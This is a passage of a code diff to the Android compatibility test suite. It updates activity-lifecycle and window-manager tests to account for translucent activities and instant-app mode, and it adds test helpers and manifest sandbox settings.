@@ -278,9 +302,71 @@
}
@Test
+ public void testResultInNonFocusedStack() throws Exception {
+ if (!supportsSplitScreenMultiWindow()) {
+ // Skipping test: no split multi-window support
+ return;
+ }
+
+ // Launch first activity
+ final Activity callbackTrackingActivity =
+ mCallbackTrackingActivityTestRule.launchActivity(new Intent());
+
+ // Wait for first activity to resume
+ waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
+
+ // Enter split screen
+ moveTaskToPrimarySplitScreen(callbackTrackingActivity.getTaskId(),
+ true /* launchSideActivityIfNeeded */);
+
+ // Launch second activity to pause first
+ // Create an ActivityMonitor that catch ChildActivity and return mock ActivityResult:
+ ActivityMonitor activityMonitor = InstrumentationRegistry.getInstrumentation()
+ .addMonitor(SecondActivity.class.getName(), null /* activityResult */,
+ false /* block */);
+
+ callbackTrackingActivity.startActivityForResult(
+ new Intent(callbackTrackingActivity, SecondActivity.class), 1 /* requestCode */);
+
+ // Wait for the ActivityMonitor to be hit
+ final Activity secondActivity = InstrumentationRegistry.getInstrumentation()
+ .waitForMonitorWithTimeout(activityMonitor, 5 * 1000);
+
+ // Wait for second activity to resume
+ assertNotNull("Second activity should be started", secondActivity);
+ waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
+
+ // Start an activity in separate task (will be placed in secondary stack)
+ getLaunchActivityBuilder().execute();
+
+ waitAndAssertActivityStates(state(secondActivity, ON_PAUSE));
+
+ // Finish top activity and verify that activity below became focused.
+ getLifecycleLog().clear();
+ secondActivity.setResult(Activity.RESULT_OK);
+ secondActivity.finish();
+
+ waitAndAssertActivityStates(state(callbackTrackingActivity, ON_START));
+ LifecycleVerifier.assertRestartSequence(CallbackTrackingActivity.class, getLifecycleLog());
+
+ // Bring the first activity to front to verify that it receives the result.
+ getLifecycleLog().clear();
+ final Intent singleTopIntent = new Intent(InstrumentationRegistry.getTargetContext(),
+ CallbackTrackingActivity.class);
+ singleTopIntent.setFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP | Intent.FLAG_ACTIVITY_NEW_TASK);
+ InstrumentationRegistry.getTargetContext().startActivity(singleTopIntent);
+
+ waitAndAssertActivityStates(state(callbackTrackingActivity, ON_RESUME));
+ LifecycleVerifier.assertSequence(CallbackTrackingActivity.class, getLifecycleLog(),
+ Arrays.asList(ON_ACTIVITY_RESULT, ON_NEW_INTENT, ON_RESUME), "bring to front");
+ }
+
+ @Test
public void testPausedWhenRestartedFromInNonFocusedStack() throws Exception {
- assumeTrue("Skipping test: no split multi-window support",
- supportsSplitScreenMultiWindow());
+ if (!supportsSplitScreenMultiWindow()) {
+ // Skipping test: no split multi-window support
+ return;
+ }
// Launch first activity
final Activity firstActivity =
@@ -342,10 +428,17 @@
final Intent intent = new Intent();
intent.putExtra(EXTRA_FINISH_AFTER_RESUME, true);
mLaunchForResultActivityTestRule.launchActivity(intent);
+ final boolean isTranslucent = isTranslucent(mLaunchForResultActivityTestRule.getActivity());
- final List<LifecycleLog.ActivityCallback> expectedSequence =
- Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
- ON_PAUSE, ON_STOP, ON_ACTIVITY_RESULT, ON_RESTART, ON_START, ON_RESUME);
+ final List<LifecycleLog.ActivityCallback> expectedSequence;
+ if (isTranslucent) {
+ expectedSequence = Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE,
+ ON_RESUME, ON_PAUSE, ON_ACTIVITY_RESULT, ON_RESUME);
+ } else {
+ expectedSequence = Arrays.asList(PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE,
+ ON_RESUME, ON_PAUSE, ON_STOP, ON_ACTIVITY_RESULT, ON_RESTART, ON_START,
+ ON_RESUME);
+ }
waitForActivityTransitions(LaunchForResultActivity.class, expectedSequence);
LifecycleVerifier.assertSequence(LaunchForResultActivity.class,
@@ -430,18 +523,24 @@
waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
// Wait for first activity to become stopped
- waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
+ waitAndAssertActivityStates(occludedActivityState(trackingActivity, secondActivity));
// Call "recreate" and assert sequence
getLifecycleLog().clear();
InstrumentationRegistry.getInstrumentation().runOnMainSync(trackingActivity::recreate);
- waitAndAssertActivityStates(state(trackingActivity, ON_STOP));
+ waitAndAssertActivityStates(occludedActivityState(trackingActivity, secondActivity));
- LifecycleVerifier.assertSequence(CallbackTrackingActivity.class,
- getLifecycleLog(),
- Arrays.asList(ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE,
- ON_RESUME, ON_PAUSE, ON_STOP),
- "recreate");
+ final List<LifecycleLog.ActivityCallback> callbacks;
+ if (isTranslucent(secondActivity)) {
+ callbacks = Arrays.asList(ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
+ ON_POST_CREATE, ON_RESUME, ON_PAUSE);
+ } else {
+ callbacks = Arrays.asList(ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
+ ON_POST_CREATE, ON_RESUME, ON_PAUSE, ON_STOP);
+ }
+
+ LifecycleVerifier.assertSequence(
+ CallbackTrackingActivity.class, getLifecycleLog(), callbacks, "recreate");
}
/**
@@ -458,10 +557,17 @@
// Start activity in another process to put original activity in background.
mFirstActivityTestRule.launchActivity(new Intent());
- mAmWmState.waitForActivityState(targetActivity, STATE_STOPPED);
+ final boolean isTranslucent = isTranslucent(mFirstActivityTestRule.getActivity());
+ mAmWmState.waitForActivityState(
+ targetActivity, isTranslucent ? STATE_PAUSED : STATE_STOPPED);
- // Kill first activity
- AmUtils.runKill(targetActivity.getPackageName(), true /* wait */);
+ // Only try to kill targetActivity if the top activity isn't translucent. If the top
+ // activity is translucent then targetActivity will be visible, so the process will be
+ // started again really quickly.
+ if (!isTranslucent) {
+ // Kill first activity
+ AmUtils.runKill(targetActivity.getPackageName(), true /* wait */);
+ }
// Return back to first activity
pressBackButton();
@@ -481,10 +587,12 @@
Activity recreatingActivity = mSingleTopActivityTestRule.launchActivity(new Intent());
// Launch second activity to cover and stop first
- getLaunchActivityBuilder().setNewTask(true).setMultipleTask(true).execute();
+ final LaunchActivityBuilder launchActivityBuilder = getLaunchActivityBuilder();
+ launchActivityBuilder.setNewTask(true).setMultipleTask(true).execute();
// Wait for first activity to become stopped
- waitAndAssertActivityStates(state(recreatingActivity, ON_STOP));
+ waitAndAssertActivityStates(occludedActivityState(recreatingActivity,
+ launchActivityBuilder.isTargetActivityTranslucent()));
// Launch the activity again to recreate
getLifecycleLog().clear();
@@ -495,9 +603,17 @@
InstrumentationRegistry.getTargetContext().startActivity(intent);
// Wait for activity to relaunch and resume
- final List<LifecycleLog.ActivityCallback> expectedRelaunchSequence =
- Arrays.asList(ON_NEW_INTENT, ON_RESTART, ON_START, ON_RESUME, ON_PAUSE, ON_STOP,
- ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME);
+ final List<LifecycleLog.ActivityCallback> expectedRelaunchSequence;
+ if (launchActivityBuilder.isTargetActivityTranslucent()) {
+ expectedRelaunchSequence = Arrays.asList(ON_NEW_INTENT, ON_RESUME, ON_PAUSE, ON_STOP,
+ ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START, ON_POST_CREATE, ON_RESUME,
+ ON_PAUSE, ON_RESUME);
+ } else {
+ expectedRelaunchSequence = Arrays.asList(ON_NEW_INTENT, ON_RESTART, ON_START, ON_RESUME,
+ ON_PAUSE, ON_STOP, ON_DESTROY, PRE_ON_CREATE, ON_CREATE, ON_START,
+ ON_POST_CREATE, ON_RESUME);
+ }
+
waitForActivityTransitions(SingleTopActivity.class, expectedRelaunchSequence);
LifecycleVerifier.assertSequence(SingleTopActivity.class, getLifecycleLog(),
expectedRelaunchSequence, "recreate");
@@ -547,7 +663,7 @@
// Wait for the activity to resume
waitAndAssertActivityStates(state(secondActivity, ON_RESUME));
- waitAndAssertActivityStates(state(singleTopActivity, ON_STOP));
+ waitAndAssertActivityStates(occludedActivityState(singleTopActivity, secondActivity));
// Try to launch again
getLifecycleLog().clear();
@@ -560,10 +676,15 @@
waitAndAssertActivityStates(state(singleTopActivity, ON_RESUME));
// Verify that the first activity was restarted, new intent was delivered and resumed again
- final List<LifecycleLog.ActivityCallback> expectedSequence =
- Arrays.asList(ON_NEW_INTENT, ON_RESTART, ON_START, ON_RESUME);
- final List<LifecycleLog.ActivityCallback> otherSequence =
- Arrays.asList(ON_RESTART, ON_START, ON_NEW_INTENT, ON_RESUME);
+ final List<LifecycleLog.ActivityCallback> expectedSequence;
+ final List<LifecycleLog.ActivityCallback> otherSequence;
+ if (isTranslucent(singleTopActivity)) {
+ expectedSequence = Arrays.asList(ON_NEW_INTENT, ON_RESUME, ON_PAUSE, ON_RESUME);
+ otherSequence = Arrays.asList(ON_RESTART, ON_START, ON_NEW_INTENT, ON_RESUME);
+ } else {
+ expectedSequence = Arrays.asList(ON_NEW_INTENT, ON_RESTART, ON_START, ON_RESUME);
+ otherSequence = Arrays.asList(ON_RESTART, ON_START, ON_NEW_INTENT, ON_RESUME);
+ }
// TODO(b/65236456): This should always be ON_RESTART, ON_START, ON_NEW_INTENT, ON_RESUME
LifecycleVerifier.assertSequenceMatchesOneOf(SingleTopActivity.class, getLifecycleLog(),
Arrays.asList(expectedSequence, otherSequence), "newIntent");
@@ -609,8 +730,10 @@
@Test
public void testLifecycleOnMoveToFromSplitScreenRelaunch() throws Exception {
- assumeTrue("Skipping test: no split multi-window support",
- supportsSplitScreenMultiWindow());
+ if (!supportsSplitScreenMultiWindow()) {
+ // Skipping test: no split multi-window support
+ return;
+ }
// Launch a singleTop activity
final Activity testActivity =
@@ -654,8 +777,10 @@
@Test
public void testLifecycleOnMoveToFromSplitScreenNoRelaunch() throws Exception {
- assumeTrue("Skipping test: no split multi-window support",
- supportsSplitScreenMultiWindow());
+ if (!supportsSplitScreenMultiWindow()) {
+ // Skipping test: no split multi-window support
+ return;
+ }
// Launch a singleTop activity
final Activity testActivity =
diff --git a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
index 8539ec8..8c87439 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/lifecycle/LifecycleVerifier.java
@@ -38,18 +38,30 @@
}
static void assertLaunchSequence(Class<? extends Activity> launchingActivity,
- Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog) {
+ Class<? extends Activity> existingActivity, LifecycleLog lifecycleLog,
+ boolean launchingIsTranslucent) {
final List<Pair<String, ActivityCallback>> observedTransitions = lifecycleLog.getLog();
log("Observed sequence: " + observedTransitions);
final String errorMessage = errorDuringTransition(launchingActivity, "launch");
- final List<Pair<String, ActivityCallback>> expectedTransitions = Arrays.asList(
- transition(existingActivity, ON_PAUSE),
- transition(launchingActivity, PRE_ON_CREATE),
- transition(launchingActivity, ON_CREATE),
- transition(launchingActivity, ON_START),
- transition(launchingActivity, ON_RESUME),
- transition(existingActivity, ON_STOP));
+ final List<Pair<String, ActivityCallback>> expectedTransitions;
+ if (launchingIsTranslucent) {
+ expectedTransitions = Arrays.asList(
+ transition(existingActivity, ON_PAUSE),
+ transition(launchingActivity, PRE_ON_CREATE),
+ transition(launchingActivity, ON_CREATE),
+ transition(launchingActivity, ON_START),
+ transition(launchingActivity, ON_RESUME));
+ } else {
+ expectedTransitions = Arrays.asList(
+ transition(existingActivity, ON_PAUSE),
+ transition(launchingActivity, PRE_ON_CREATE),
+ transition(launchingActivity, ON_CREATE),
+ transition(launchingActivity, ON_START),
+ transition(launchingActivity, ON_RESUME),
+ transition(existingActivity, ON_STOP));
+ }
+
assertEquals(errorMessage, expectedTransitions, observedTransitions);
}
@@ -77,6 +89,18 @@
assertEquals(errorMessage, expectedTransitions, observedTransitions);
}
+ static void assertRestartSequence(Class<? extends Activity> activityClass,
+ LifecycleLog lifecycleLog) {
+ final List<ActivityCallback> observedTransitions =
+ lifecycleLog.getActivityLog(activityClass);
+ log("Observed sequence: " + observedTransitions);
+ final String errorMessage = errorDuringTransition(activityClass, "restart");
+
+ final List<ActivityCallback> expectedTransitions =
+ Arrays.asList(ON_RESTART, ON_START);
+ assertEquals(errorMessage, expectedTransitions, observedTransitions);
+ }
+
static void assertRestartAndPauseSequence(Class<? extends Activity> activityClass,
LifecycleLog lifecycleLog) {
final List<ActivityCallback> observedTransitions =
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
index 11e1929..fe1f588 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityAndWindowManagersState.java
@@ -254,11 +254,21 @@
"***Waiting for Keyguard gone...");
}
+ /** Wait for specific rotation for the default display. Values are Surface#Rotation */
void waitForRotation(int rotation) {
waitForWithWmState(state -> state.getRotation() == rotation,
"***Waiting for Rotation: " + rotation);
}
+ /**
+ * Wait for specific orientation for the default display.
+ * Values are ActivityInfo.ScreenOrientation
+ */
+ void waitForLastOrientation(int orientation) {
+ waitForWithWmState(state -> state.getLastOrientation() == orientation,
+ "***Waiting for LastOrientation: " + orientation);
+ }
+
void waitForDisplayUnfrozen() {
waitForWithWmState(state -> !state.isDisplayFrozen(),
"***Waiting for Display unfrozen");
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
index 2338339..d50e622 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerState.java
@@ -327,6 +327,15 @@
return -1;
}
+ /** Get display id by activity on it. */
+ int getDisplayByActivity(ComponentName activityComponent) {
+ final ActivityManagerState.ActivityTask task = getTaskByActivity(activityComponent);
+ if (task == null) {
+ return -1;
+ }
+ return getStackById(task.mStackId).mDisplayId;
+ }
+
List<ActivityDisplay> getDisplays() {
return new ArrayList<>(mDisplays);
}
@@ -382,6 +391,38 @@
return false;
}
+ boolean isActivityTranslucent(ComponentName activityName) {
+ final String fullName = getActivityName(activityName);
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return activity.translucent;
+ }
+ }
+ }
+ }
+ return false;
+ }
+
+ boolean isBehindOpaqueActivities(ComponentName activityName) {
+ final String fullName = getActivityName(activityName);
+ for (ActivityStack stack : mStacks) {
+ for (ActivityTask task : stack.mTasks) {
+ for (Activity activity : task.mActivities) {
+ if (activity.name.equals(fullName)) {
+ return false;
+ }
+ if (!activity.translucent) {
+ return true;
+ }
+ }
+ }
+ }
+
+ return false;
+ }
+
boolean containsStartedActivities() {
for (ActivityStack stack : mStacks) {
for (ActivityTask task : stack.mTasks) {
@@ -623,13 +664,14 @@
}
}
- static class Activity extends ActivityContainer {
+ public static class Activity extends ActivityContainer {
String name;
String state;
boolean visible;
boolean frontOfTask;
int procId = -1;
+ public boolean translucent;
Activity(ActivityRecordProto proto) {
super(proto.configurationContainer);
@@ -640,6 +682,7 @@
if (proto.procId != 0) {
procId = proto.procId;
}
+ translucent = proto.translucent;
}
}
diff --git a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
index e187eee..fcca246 100644
--- a/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
+++ b/tests/framework/base/activitymanager/util/src/android/server/am/ActivityManagerTestBase.java
@@ -510,6 +510,10 @@
&& !hasDeviceFeature(FEATURE_EMBEDDED);
}
+ protected boolean isWatch() {
+ return hasDeviceFeature(FEATURE_WATCH);
+ }
+
protected boolean isTablet() {
// Larger than approx 7" tablets
return mContext.getResources().getConfiguration().smallestScreenWidthDp >= 600;
@@ -1004,6 +1008,49 @@
}.assertValidator("***Waiting for activity destroyed");
}
+ void assertLifecycleCounts(ComponentName activityName, LogSeparator logSeparator,
+ int createCount, int startCount, int resumeCount, int pauseCount, int stopCount,
+ int destroyCount, int configurationChangeCount) {
+ new RetryValidator() {
+ @Override
+ protected String validate() {
+ final ActivityLifecycleCounts lifecycleCounts =
+ new ActivityLifecycleCounts(activityName, logSeparator);
+ final String logTag = getLogTag(activityName);
+ if (createCount != lifecycleCounts.mCreateCount) {
+ return logTag + " has been created " + lifecycleCounts.mCreateCount
+ + " time(s), expecting " + createCount;
+ }
+ if (startCount != lifecycleCounts.mStartCount) {
+ return logTag + " has been started " + lifecycleCounts.mStartCount
+ + " time(s), expecting " + startCount;
+ }
+ if (resumeCount != lifecycleCounts.mResumeCount) {
+ return logTag + " has been resumed " + lifecycleCounts.mResumeCount
+ + " time(s), expecting " + resumeCount;
+ }
+ if (pauseCount != lifecycleCounts.mPauseCount) {
+ return logTag + " has been paused " + lifecycleCounts.mPauseCount
+ + " time(s), expecting " + pauseCount;
+ }
+ if (stopCount != lifecycleCounts.mStopCount) {
+ return logTag + " has been stopped " + lifecycleCounts.mStopCount
+ + " time(s), expecting " + stopCount;
+ }
+ if (destroyCount != lifecycleCounts.mDestroyCount) {
+ return logTag + " has been destroyed " + lifecycleCounts.mDestroyCount
+ + " time(s), expecting " + destroyCount;
+ }
+ if (configurationChangeCount != lifecycleCounts.mConfigurationChangedCount) {
+ return logTag + " has received config changes "
+ + lifecycleCounts.mConfigurationChangedCount
+ + " time(s), expecting " + configurationChangeCount;
+ }
+ return null;
+ }
+ }.assertValidator("***Waiting for activity lifecycle counts");
+ }
+
void assertSingleLaunch(ComponentName activityName, LogSeparator logSeparator) {
new ActivityLifecycleCountsValidator(activityName, logSeparator, 1 /* createCount */,
1 /* startCount */, 1 /* resumeCount */, 0 /* pauseCount */, 0 /* stopCount */,
@@ -1329,6 +1376,10 @@
return mTargetActivity;
}
+ public boolean isTargetActivityTranslucent() {
+ return mAmWmState.getAmState().isActivityTranslucent(mTargetActivity);
+ }
+
public LaunchActivityBuilder setTargetActivity(ComponentName targetActivity) {
mTargetActivity = targetActivity;
return this;
diff --git a/tests/framework/base/windowmanager/AndroidTest.xml b/tests/framework/base/windowmanager/AndroidTest.xml
index 624d4e6..337ada0 100644
--- a/tests/framework/base/windowmanager/AndroidTest.xml
+++ b/tests/framework/base/windowmanager/AndroidTest.xml
@@ -22,11 +22,16 @@
<option name="test-file-name" value="CtsWindowManagerDeviceTestCases.apk"/>
<option name="test-file-name" value="CtsDragAndDropSourceApp.apk"/>
<option name="test-file-name" value="CtsDragAndDropTargetApp.apk"/>
- <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk"/>
<option name="test-file-name" value="CtsDeviceAlertWindowTestApp.apk"/>
- <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk"/>
<option name="test-file-name" value="CtsAlertWindowService.apk"/>
</target_preparer>
+ <!-- Some older apk cannot be installed as instant, so we force them full mode -->
+ <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+ <option name="cleanup-apks" value="true"/>
+ <option name="force-install-mode" value="FULL"/>
+ <option name="test-file-name" value="CtsDragAndDropTargetAppSdk23.apk"/>
+ <option name="test-file-name" value="CtsDeviceAlertWindowTestAppSdk25.apk"/>
+ </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest">
<option name="package" value="android.server.cts.wm"/>
<option name="runtime-hint" value="8m"/>
diff --git a/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
index 446e2fa..00268da 100755
--- a/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/alertwindowapp/AndroidManifest.xml
@@ -17,7 +17,8 @@
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.wm.alertwindowapp">
+ package="android.server.wm.alertwindowapp"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application android:label="CtsAlertWindow">
diff --git a/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
index 76c30bd..48164b6 100644
--- a/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/alertwindowservice/AndroidManifest.xml
@@ -15,7 +15,8 @@
~ limitations under the License
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.wm.alertwindowservice">
+ package="android.server.wm.alertwindowservice"
+ android:targetSandboxVersion="2">
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" />
<application>
diff --git a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
index 4c8f0bb..e7b3453 100644
--- a/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndsourceapp/AndroidManifest.xml
@@ -15,7 +15,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.wm.dndsourceapp">
+ package="android.server.wm.dndsourceapp"
+ android:targetSandboxVersion="2">
<application android:label="CtsDnDSource">
<activity android:name="android.server.wm.dndsourceapp.DragSource">
<intent-filter>
diff --git a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
index 33c7a0f..09a0bc9 100644
--- a/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
+++ b/tests/framework/base/windowmanager/dndtargetapp/AndroidManifest.xml
@@ -15,7 +15,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.wm.dndtargetapp">
+ package="android.server.wm.dndtargetapp"
+ android:targetSandboxVersion="2">
<application android:label="CtsDnDTarget">
<activity android:name="android.server.wm.dndtargetapp.DropTarget">
<intent-filter>
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
index 2da6bf0..5d087a7 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsImportanceTests.java
@@ -39,6 +39,7 @@
import android.os.Message;
import android.os.Messenger;
import android.os.SystemClock;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.server.wm.alertwindowservice.AlertWindowService;
import android.support.test.InstrumentationRegistry;
@@ -113,6 +114,7 @@
}
@Test
+ @AppModeFull(reason = "Uses apps targeting older SDK")
public void testAlertWindowOomAdj() throws Exception {
// Alert windows are always hidden when running in VR.
if (isRunningInVR()) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
index ae9c5b5..3ab7c198 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/AlertWindowsTests.java
@@ -26,6 +26,7 @@
import static org.junit.Assert.assertTrue;
import android.content.ComponentName;
+import android.platform.test.annotations.AppModeFull;
import android.platform.test.annotations.Presubmit;
import android.server.am.ActivityManagerTestBase;
import android.server.am.WaitForValidActivityState;
@@ -44,6 +45,7 @@
* atest CtsWindowManagerDeviceTestCases:AlertWindowsTests
*/
@Presubmit
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
public class AlertWindowsTests extends ActivityManagerTestBase {
// From WindowManager.java
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
index 0cc2ac8..5d26234 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/CrossAppDragAndDropTests.java
@@ -37,6 +37,7 @@
import android.content.Context;
import android.graphics.Point;
import android.os.RemoteException;
+import android.platform.test.annotations.AppModeFull;
import android.os.SystemClock;
import android.platform.test.annotations.Presubmit;
import android.support.test.InstrumentationRegistry;
@@ -54,6 +55,7 @@
* Run: cts/tests/framework/base/activitymanager/util/run-test CtsWindowManagerDeviceTestCases android.server.wm.CrossAppDragAndDropTests
*/
@Presubmit
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
public class CrossAppDragAndDropTests {
private static final String TAG = "CrossAppDragAndDrop";
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
index 7e08bff..cc8eba0 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/DialogFrameTests.java
@@ -36,6 +36,7 @@
import android.content.ComponentName;
import android.graphics.Rect;
+import android.platform.test.annotations.AppModeFull;
import android.server.am.WaitForValidActivityState;
import android.server.am.WindowManagerState;
import android.server.am.WindowManagerState.WindowState;
@@ -54,6 +55,7 @@
*
* TODO: Consolidate this class with {@link ParentChildTestBase}.
*/
+@AppModeFull(reason = "Requires android.permission.MANAGE_ACTIVITY_STACKS")
public class DialogFrameTests extends ParentChildTestBase<DialogFrameTestActivity> {
private static final ComponentName DIALOG_FRAME_TEST_ACTIVITY = new ComponentName(
diff --git a/tests/inputmethod/Android.mk b/tests/inputmethod/Android.mk
index e0c7a62..0d11efa 100644
--- a/tests/inputmethod/Android.mk
+++ b/tests/inputmethod/Android.mk
@@ -22,7 +22,7 @@
LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests cts_instant
LOCAL_MULTILIB := both
diff --git a/tests/inputmethod/AndroidManifest.xml b/tests/inputmethod/AndroidManifest.xml
index a5bc532..b9c0ef4 100644
--- a/tests/inputmethod/AndroidManifest.xml
+++ b/tests/inputmethod/AndroidManifest.xml
@@ -16,7 +16,8 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.view.inputmethod.cts">
+ package="android.view.inputmethod.cts"
+ android:targetSandboxVersion="2">
<application
android:label="CtsInputMethodTestCases"
diff --git a/tests/inputmethod/AndroidTest.xml b/tests/inputmethod/AndroidTest.xml
index f69fff5..f749065 100644
--- a/tests/inputmethod/AndroidTest.xml
+++ b/tests/inputmethod/AndroidTest.xml
@@ -28,6 +28,10 @@
-->
<option name="test-file-name" value="CtsInputMethodTestCases.apk" />
</target_preparer>
+ <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
+ <option name="run-command" value="cmd input_method set-bind-instant-service-allowed true" />
+ <option name="teardown-command" value="cmd input_method set-bind-instant-service-allowed false" />
+ </target_preparer>
<test class="com.android.tradefed.testtype.AndroidJUnitTest" >
<option name="package" value="android.view.inputmethod.cts" />
<option name="runtime-hint" value="1m0s" />
diff --git a/tests/inputmethod/mockime/Android.mk b/tests/inputmethod/mockime/Android.mk
index fee0536..5cfed53 100644
--- a/tests/inputmethod/mockime/Android.mk
+++ b/tests/inputmethod/mockime/Android.mk
@@ -21,9 +21,6 @@
LOCAL_SDK_VERSION := current
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-
LOCAL_SRC_FILES := $(call all-java-files-under, src)
LOCAL_JAVA_LIBRARIES := junit
LOCAL_STATIC_JAVA_LIBRARIES := \
diff --git a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
index b923c66..8400c53 100644
--- a/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
+++ b/tests/inputmethod/src/android/view/inputmethod/cts/InputMethodManagerTest.java
@@ -18,7 +18,6 @@
import static android.content.Intent.ACTION_CLOSE_SYSTEM_DIALOGS;
import static android.content.Intent.FLAG_RECEIVER_FOREGROUND;
-import static android.view.inputmethod.cts.util.TestUtils.runOnMainSync;
import static android.view.inputmethod.cts.util.TestUtils.waitOnMainUntil;
import static org.junit.Assert.assertFalse;
@@ -30,6 +29,7 @@
import android.content.Context;
import android.content.Intent;
import androidx.annotation.NonNull;
+import android.platform.test.annotations.AppModeFull;
import android.support.test.InstrumentationRegistry;
import android.support.test.filters.MediumTest;
import android.support.test.runner.AndroidJUnit4;
@@ -165,6 +165,7 @@
}).collect(Collectors.joining(", ")) + "]";
}
+ @AppModeFull(reason = "Instant apps cannot rely on ACTION_CLOSE_SYSTEM_DIALOGS")
@Test
public void testShowInputMethodPicker() throws Exception {
TestActivity.startSync(activity -> {
diff --git a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
index 8d33687..324df40 100644
--- a/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
+++ b/tests/jdwp/runner/host-side/src/com/android/compatibility/testtype/DalvikTest.java
@@ -26,6 +26,7 @@
import com.android.tradefed.config.OptionCopier;
